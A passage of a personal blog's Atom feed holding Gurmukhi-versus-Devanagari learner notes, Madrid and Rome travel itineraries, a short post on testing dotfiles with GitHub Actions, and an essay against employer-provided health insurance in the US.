<h3 id="consonants-in-gurmukhi-that-are-similar-to-different-consonants-in-devanagari">Consonants in Gurmukhi that are similar to different consonants in Devanagari</h3>
<ol>
<li>ਘ looks similar to ध but is घ</li>
<li>ਤ looks similar to उ but is त</li>
<li>ਥ looks similar to घ but is थ</li>
<li>ਫ looks similar to ढ but is फ</li>
<li>ਮ looks similar to भ but is म</li>
<li>ਯ looks similar to ज but is य</li>
<li>ਵ looks similar to ह but is व</li>
</ol>
<h3 id="consonants-in-gurmukhi-that-are-very-similar-to-each-other-but-different-in-pronunciation">Consonants in Gurmukhi that are very similar to each other but different in pronunciation</h3>
<ol>
<li>ਗ vs. ਰ vs. ਹ - the first one is ग, the second one is र (note the missing <em>danda), and the third one is ह  (the circle doesn&rsquo;t close)</em></li>
<li>ਯ vs. ਧ vs. ਪ - the first one is य, the second one is ध, and the third one is प</li>
<li>ਫ vs. ਢ - the first one is फ and the second one is ढ</li>
</ol>
<p>Notably in some characters, the continuity of the top line is reversed, for example, ਘ is घ, ਪ is प, ਮ is म, ਧ is ध.</p>
<h3 id="the-four-modifiers">The Four Modifiers</h3>
<ol>
<li>Addhak - Double Emphasis - ੱ</li>
<li>Halant - 50% more emphasis - ੑ. Contrast this with halant in Devanagari, which is 50%-emphasis as opposed to 150% emphasis in Gurmukhi.</li>
<li>Nasal Bindu - for example, the dot in ਦੁਲਾਂਵ (दुलांव). This modifier is pronounced exactly like Bindu in Hindi.</li>
<li>Nasal Bindu (tipee) - ੰ, for example, ਅੰਗਦ (अंगद). This modifier is pronounced with a slight ग at the end.</li>
</ol>
<h3 id="the-half-letters">The half letters</h3>
<ol>
<li>It seems half letters are uncommon in Punjabi. More often than not, even for the same Hindi word, the full letter appears to be used, both for writing and speaking. For example, floor - फ़र्श - ਫਰਸ਼ and love - प्यार - ਪਿਆਰ</li>
<li>Unlike Hindi, half letters are always written below a full letter. So, the mainline contains full letters while a half letter is beneath the full letter, after which it is pronounced. Only र््, य््, and व्् are common.</li>
</ol>
<h3 id="a-quiz-for-testing">A quiz for testing</h3>
<p>I wrote a small quiz to test myself with random questions. You can try the quiz 
<a href="/gurmukhi_test.htm">here</a>.</p>
<h2 id="good-resources">Good resources</h2>
<ol>
<li>  
    
    
<a href="https://www.learnreligions.com/consonants-of-gurmukhi-alphabet-35-akhar-illustrated-4126838?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.learnreligions.com/consonants-of-gurmukhi-alphabet-35-akhar-illustrated-4126838</a></li>
<li>  
    
    
<a href="https://www.personal.psu.edu/ejp10/symbolcodes/bylanguage/punjabichart.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.personal.psu.edu/ejp10/symbolcodes/bylanguage/punjabichart.html</a></li>
<li>  
    
    
<a href="https://pa.wikipedia.org/wiki/%E0%A8%9D?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://pa.wikipedia.org/wiki/%E0%A8%9D</a></li>
<li>  
    
    
<a href="https://www.youtube.com/watch?v=CU3s19hDZlU&amp;list=PL5UNLfJ1TsJm0OHEOslS3NOqGduHwggGg&amp;index=3&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.youtube.com/watch?v=CU3s19hDZlU&amp;list=PL5UNLfJ1TsJm0OHEOslS3NOqGduHwggGg&amp;index=3</a></li>
</ol>
<p>Disclaimer: I am a new learner, so use these notes with caution.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Two days in Madrid, Spain</title><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/malaga-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Málaga in 3 days"/><link href="https://ashishb.net/travel/barcelona-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Barcelona, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><id>https://ashishb.net/travel/madrid-spain/</id><author><name>Ashish Bhatia</name></author><published>2019-12-07T17:00:40+00:00</published><updated>2019-12-07T17:00:40+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Madrid&rsquo;s rich history with top attractions, hidden gems, and local dining spots. Uncover the city&rsquo;s Moorish origins and indulge in its vibrant culture.</blockquote><p>Madrid, originally Myrit, was set up by Moors in about 700 AD,
to fight against the Catholic Spanish stronghold of Toledo which used to be the old capital of the Castile kingdom.</p>
<ol>
<li>Public transport is good, get a Metro card with ten tickets, and it can even be shared simultaneously.</li>
<li>Beware of pickpockets.</li>
<li>Credit card acceptance is high, but not 100%.</li>
<li>Churros + hot chocolate are famous in Madrid.</li>
<li>The city has pedestrianized itself over time, so the city center is entirely car-free.</li>
</ol>
<h3 id="day-1">Day 1</h3>
<p>Start your day with a walking tour.
I would recommend history-focused   
    
    
<a href="https://www.neweuropetours.eu/sandemans-tours/madrid/free-tour-of-madrid/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sandeman&rsquo;s walking tour</a> and tourism-focused   
    
    
<a href="https://www.ricksteves.com/watch-read-listen/audio/audio-tours/spain-portugal-audio-tours?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rick Steve&rsquo;s self-guided audio tour</a>.
After the tour, check out Puerta Del Sol, the Sun Gate.
There are quite a few small interesting spots here,
for example, the bear climbing the tree which is on the city&rsquo;s Coat of Arms, and the 0 KM sign.</p>
<figure>
    
    <a href="IMG_20190414_112801_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190414_112801_resized-512x1024.jpg"
         alt="Bear climbing the tree" width="900"/> </a>
</figure>

<p>Head out to Plaza Mayor which historically used to be the city center and a local open market used to be held on the square.
Before leaving the square, don&rsquo;t forget to check out the museum devoted to bullfighting.
Bullfighting is banned in 
<a href="/travel/barcelona-spain/">Barcelona</a> (Catalonia), so, if you want to see bullfighting, see it in Madrid.</p>
<figure>
    
    <a href="IMG_20190414_115325_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190414_115325_resized-1024x512.jpg"
         alt="Plaza Mayor" width="900"/> </a>
</figure>

<p>From here, head to the old city capitol checking out the oldest functioning door in the city along the way.</p>
<figure>
    
    <a href="IMG_20190414_123649-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190414_123649-512x1024.jpg"
         alt="A rustic wooden door installed in a stone wall, weathered by time and situated in an old city environment. Stonework surrounds the door, emphasizing its historic context." width="900"/> </a>
</figure>

<p>The next stop would be the palace, with 2800 rooms, it is the largest palace in the world in terms of floor space.</p>
<figure>
    
    <a href="tmp1-1-841x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1-1-841x1024.jpg"
         alt="A large palace with 2800 rooms, identified as the largest in the world by floor space, is located next to a famous cathedral converted from a mosque." width="900"/> </a>
</figure>

<p>The cathedral next door converted from a mosque, is a famous one and is free to visit.
In the evening, art lovers can check out the Prada Museum, which has no entry fee after 4 PM.
  
    
    
<a href="https://chocolateriasangines.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chocolateria San Gines</a>, a 24-hour hot chocolate + churros shop, is popular among locals and tourists alike.
I would highly recommend having both churros and Purros with chocolate here.</p>
<figure>
    
    <a href="IMG_20190415_140424_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190415_140424_resized-1024x512.jpg"
         alt="Churros" width="900"/> </a>
</figure>

<p>A library running since 1650 is next door.</p>
<figure>
    
    <a href="IMG_20190415_141604_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190415_141604_resized-512x1024.jpg"
         alt="A historic library, operational since 1650, is located adjacent to another building." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Start your day with the free History Museum. I found it to be a pretty average experience.
The entrance to the History Museum is pretty cool, though.</p>
<figure>
    
    <a href="IMG_20190416_110459_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190416_110459_resized-512x1024.jpg"
         alt="A large, detailed sculpture resembling a gigantic cricket stump is displayed, evoking curiosity and artistic intrigue." width="900"/> </a>
</figure>

<p>Then check out Doleman De Dali. One of his sculptures looks like huge cricket stump.</p>
<figure>
    
    <a href="IMG_20190416_131032_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190416_131032_resized-512x1024.jpg"
         alt="A sculpture resembling a huge cricket stump" width="900"/> </a>
</figure>

<p>From here, head to the nearby Parque De El Retiro which has Palacio De Velazquez housing a free exhibition from Reina Sofia Museum.</p>
<figure>
    
    <a href="IMG_20190416_143023_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190416_143023_resized-1024x512.jpg"
         alt="Reina Sofia Museum" width="900"/> </a>
</figure>

<p>Crystal Palace is nearby, and if you are interested in Botany, then a Botanical Garden is in the vicinity as well.
I enjoyed a small arts presentation inside the Botanical Garden.</p>
<figure>
    
    <a href="IMG_20190416_144737_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190416_144737_resized-512x1024.jpg"
         alt="A vibrant flamenco performance in Madrid features a dancer in a dynamic pose, showcasing traditional attire with a ruffled skirt, accompanied by live music." width="900"/> </a>
</figure>

<p>Don&rsquo;t leave Madrid before attending a Flamenco show.
The earliest in the evening starts at 5:30 PM at   
    
    
<a href="https://www.latabernademisterpinkleton.com/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">La Taberna De Mister Pinkleton</a>.</p>
<figure>
    
    <a href="IMG_20190416_174116_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190416_174116_resized-1024x512.jpg"
         alt="A restaurant interior featuring rows of empty tables and chairs set for dining" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/spain" term="spain" label="spain"/></entry><entry><title type="html">Keep your dotfiles bug-free with Continuous Integration</title><link href="https://ashishb.net/programming/dotfiles-ci/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><link href="https://ashishb.net/programming/faster-testing-iterations-with-circleci/?utm_source=atom_feed" rel="related" type="text/html" title="Test changes to CircleCI config locally"/><link href="https://ashishb.net/tech/ci-is-not-cd/?utm_source=atom_feed" rel="related" type="text/html" title="Continuous integration ≠ Continuous delivery"/><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="related" type="text/html" title="Circle CI vs Travis CI"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><id>https://ashishb.net/programming/dotfiles-ci/</id><author><name>Ashish Bhatia</name></author><published>2019-12-01T17:00:53+00:00</published><updated>2019-12-01T17:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why I switched from Travis CI to GitHub Actions for reliable CI testing of my dotfiles on GNU/Linux &amp; MacOS. Explore my scripts on GitHub now!</blockquote><p>  
    
    
<a href="https://github.com/ashishb/dotfiles?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/dotfiles?style=flat-square&label=GitHub%20Stars"></a></p>
<p><strong>Update: As of April 2020, I have switched over to   
    
    
<a href="https://github.com/ashishb/dotfiles/tree/master/.github/workflows?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">GitHub Actions</a>.
Travis CI has become buggy and flaky over time and I got tired of trying to keep the builds green.
My GitHub action scripts can be seen   
    
    
<a href="https://github.com/ashishb/dotfiles/tree/master/.github/workflows?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</strong></p>
<p>Just like many software engineers,
I maintain my config files for GNU/Linux and macOS in a   
    
    
<a href="https://github.com/ashishb/dotfiles?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">git repository</a>.
Given that, I wrote a fair bit of them in interpreted code, notably, Bash, it is a bit hard to ensure that it is bug-free.
The other problem I face is that packages on <code>homebrew</code>, the macOS package manager becomes obsolete
and gets deleted from time to time.</p>
<p>I added CI testing on GitHub Actions to prevent these breakages and to ensure that
my dotfiles are always in good shape for installation.
The great thing about GitHub Actions is the generous free tier for open-source repositories.
I used to use Travis CI, but then it degraded drastically in quality over time.</p>
<p>My current set of CI tests for dotfiles can be seen   
    
    
<a href="https://github.com/ashishb/dotfiles/tree/master/.github/workflows?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a></p>
<p>The tests look like this</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Yaml
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#586e75"># Only relevant snippets are being displayed</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">name</span>: Run setup dotfiles
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    set -eo pipefail
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    export CI=1
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    bash setup_dotfiles.sh # Test dotfile setup</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">name</span>: Run Setup new Mac machine script
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    set -eo pipefail
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    export CI=1
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    # Test Mac OS package installation
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    bash setup/setup_new_mac_machine.sh</span>
</span></span><span style="display:flex;"><span>- <span style="color:#268bd2">name</span>: Run _macos script
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">run</span>: |<span style="color:#2aa198">
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    set -eo pipefail
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    export CI=1
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">    sudo bash setup/_macos</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/continuous-integration" term="continuous-integration" label="continuous-integration"/><category scheme="https://ashishb.net/tag/dotfiles" term="dotfiles" label="dotfiles"/></entry><entry><title type="html">Why not abolish employer-provided health insurance?</title><link href="https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/finance/why-kbb-overprices-cars/?utm_source=atom_feed" rel="related" type="text/html" title="Why KBB overprices cars"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="related" type="text/html" title="Authentically American"/><id>https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/</id><author><name>Ashish Bhatia</name></author><published>2019-11-26T17:00:42+00:00</published><updated>2019-11-26T17:00:42+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the stark differences between car and health insurance in the U.S., and explore a system where transparent pricing could revolutionize healthcare affordability.</blockquote><p>Car insurance in the United States is a system that more or less works well. You call up insurance agents representing different insurance companies with similar policies but varying quality of service. Then you buy it based on how much insurance premium they charge and how good/bad quality of service you are willing to accept. If you have an expensive car or you are a reckless driver, you end up paying more. The less you use your insurance, the lower your premium becomes over time.</p>
<p>Car insurance insures you against significant unexpected losses like accidents and trees falling on the car. It does not cover regular oil changes and other wear and tear of your vehicle. In other words, by buying car insurance, you put a cap on your potential losses. But regular maintenance is your responsibility.</p>
<p>Lastly, in case of car damage, due to vandalism or an accident, you can go to a repair shop which is required by law to provide you an estimate in advance. And they cannot deviate too much from before taking your explicit permission.</p>
<p><strong>The car insurance works because the incentives are aligned.</strong> Some people pay more for higher quality/coverage insurance. Some people pay less for cheaper insurance.  The repair shops cannot charge arbitrary prices since the customer does not want their insurance companies to overpay, or else the customer&rsquo;s premium will go up next year. The insurance companies cannot charge premiums way higher than the market or else; the customers will leave. If they charge too low, they go out of business.</p>
<p>Now, look at the health insurance system. Most people get free or subsidized healthcare from their employers. Anything your employer spends on you has to come from somewhere, it&rsquo;s a cost to the company, be it a &ldquo;free&rdquo; parking spot, &ldquo;free&rdquo; food, or &ldquo;free&rdquo; health insurance. The employer buys one-size-fits-all insurance with no say from the insured person on the pricing. Many employers self-insure thinking that they won&rsquo;t have too many major incidents, but   
    
    
<a href="https://www.nbcnews.com/health/health-care/million-dollar-babies-should-have-been-non-issue-aol-n26776?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sometimes</a> they do end up paying. And hospitals try to bill the insurance company for as many tests as possible, even committing   
    
    
<a href="https://khn.org/news/rural-hospital-empire-collapse-missouri-town-fallout-jorge-a-perez-empowerhms/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fraud</a>.</p>
<p>Coming to the policy itself, the employee has a few choices, usually three or so. Young employees not only indirectly subsidize health care for the old, but this system also discourages companies from hiring older employees who can adversely increase the health insurance premium for the company. There are two significant problems here - opaque pricing models and insurance for regular checkups. Unlike car repair shops, American hospitals won&rsquo;t give you an estimate when you show up. They don&rsquo;t want to. What they would prefer to do is to bill your insurance company as much as they legally can, the insurance company will push back and somewhere the tug-of-war on pricing will be decided. Different insurance companies will have different prices. So, the billing reflects more on salesmanship and negotiation power than the actual quality of service. The other major problem it leads to is that even the regular checkups go through the insurance company, which not only adds administrative costs but discourages the person from choosing the right service. A person going for an oil change might decide to optimize on price or will go by the best Yelp reviews or a friend&rsquo;s referral. In this case, the person has to find a hospital that is in-network with the insurance provider. Out-of-network has higher costs. The last part of the disincentive comes from the care provider, the doctor/clinic/hospital itself. First, there is no incentive for the doctor to reduce the costs since efficiency gains won&rsquo;t attract more customers. So, they prescribe expensive   
    
    
<a href="https://www.forbes.com/sites/peterubel/2017/12/27/how-physicians-respond-to-the-price-of-lab-tests-before-ordering-them/#c0ff2a7193fc?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tests</a> and   
    
    
<a href="https://www.axios.com/combination-drugs-high-prices-1533915819-28cc0844-34f1-46d3-8eff-0e70e730b067.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">drugs</a>. Second, the complicated insurance contracts discourage doctors from setting up their clinics as only big hospitals have the negotiating power. <strong>The system fails badly because of the broken incentive structure.</strong></p>
<p>Now, consider this scenario. Rather than allowing employers to deduct insurance premiums as expenses, what if the government made employer-provided insurance illegal? Further, the government brings in a law to force all health-care providers to publish rates like this   
    
    
<a href="https://time.com/4649914/why-the-doctor-takes-only-cash/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">surgery center in Oklahoma</a>. People will check prices and decide where they want to go, and the system will incentivize participants to be efficient. Of course, now, one can bring health insurance into the system, which has to be purchased in the free market and will only cover major unexpected issues like heart surgeries. Would older people pay more in such a system? Probably yes, but the government can come in and subsidize that at a much lower cost than the current Medicare. Would women pay more in such a system? Probably yes, but again, the government can step and pay a fixed percentage of the premiums. Since the overall incentives are aligned, the system would move towards efficiency instead of hiring bill adjusters everywhere.</p>
<p>If you aren&rsquo;t convinced, wonder if your employer provided you with &ldquo;free&rdquo; car insurance. Then something as simple as an oil change would require an appointment a month in advance. Opaque prices and mysterious bills showing up a few months later with undecipherable medical car diagnostic codes stating that the mechanic used an &ldquo;uncovered&rdquo; engine oil brand in your car? <strong>Affording health care isn&rsquo;t hard in the US; it&rsquo;s the broken healthcare system that keeps becoming more and more unaffordable.</strong></p>
<figure>
    
    <a href="health-care-costs.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="health-care-costs.png"
         alt="A detailed graphic visualizes the rising costs of healthcare, highlighting systemic affordability issues in the U.S." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/healthcare" term="healthcare" label="healthcare"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Three days in Rome, Italy</title><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Budapest, Hungary"/><link href="https://ashishb.net/travel/austria/vienna/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vienna"/><id>https://ashishb.net/travel/rome-italy/</id><author><name>Ashish Bhatia</name></author><published>2019-11-02T16:00:49+00:00</published><updated>2019-11-02T16:00:49+00:00</updated><content type="html"><![CDATA[<blockquote>Embark on a three-day Roman adventure exploring iconic landmarks, ancient history, and rich religious heritage, from the Colosseum to the Vatican and beyond.</blockquote><p>Rome has a rich history pertinent to western civilization.
There are three different aspects of roaming in Rome, namely, architecture, history, and religion (Catholic - Christians).
I was profoundly interested in history and to some extent, in architecture, and that influenced my itinerary.</p>
<h3 id="day-1---walks">Day 1 - walks</h3>
<p>Start with a walking tour and after walking tour use   
    
    
<a href="https://www.ricksteves.com/watch-read-listen/audio/audio-tours/italy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rick Steve&rsquo;s free audio tour</a> to wander in the heart of Rome,
primarily,   
    
    
<a href="https://www.walksofitaly.com/blog/rome/9-surprising-facts-trevi-fountain-rome?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Trevi Fountain</a>, Pantheon, and Spanish steps.
Then use Rick Steve&rsquo;s Jewish Ghettos walk to do a self-guided tour of Jewish ghettos.</p>
<figure>
    
    <a href="IMG_20190409_183505_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190409_183505_resized-512x1024.jpg"
         alt="A cobblestone pathway leading to historical buildings, with a tour sign instructing visitors to use Rick Steve&#39;s Jewish Ghettos walk for a self-guided tour of Jewish ghettos." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190410_200817_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_200817_resized-1024x512.jpg"
         alt="Rome, Italy" width="900"/> </a>
</figure>

<h3 id="day-2---history">Day 2 - History</h3>
<p>Wake up early morning and head to The Colosseum; it opens up at 8:30, and you better queue up by 8.
Do either a paid guided tour here or use Rick Steve&rsquo;s free audio tours.
If you are interested in history, spend less time at Colosseum and more at The Forum, which is rich in history.
If it&rsquo;s a weekend, you can head to Domus Aurea and visit that too.</p>
<figure>
    
    <a href="IMG_20190411_101203_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
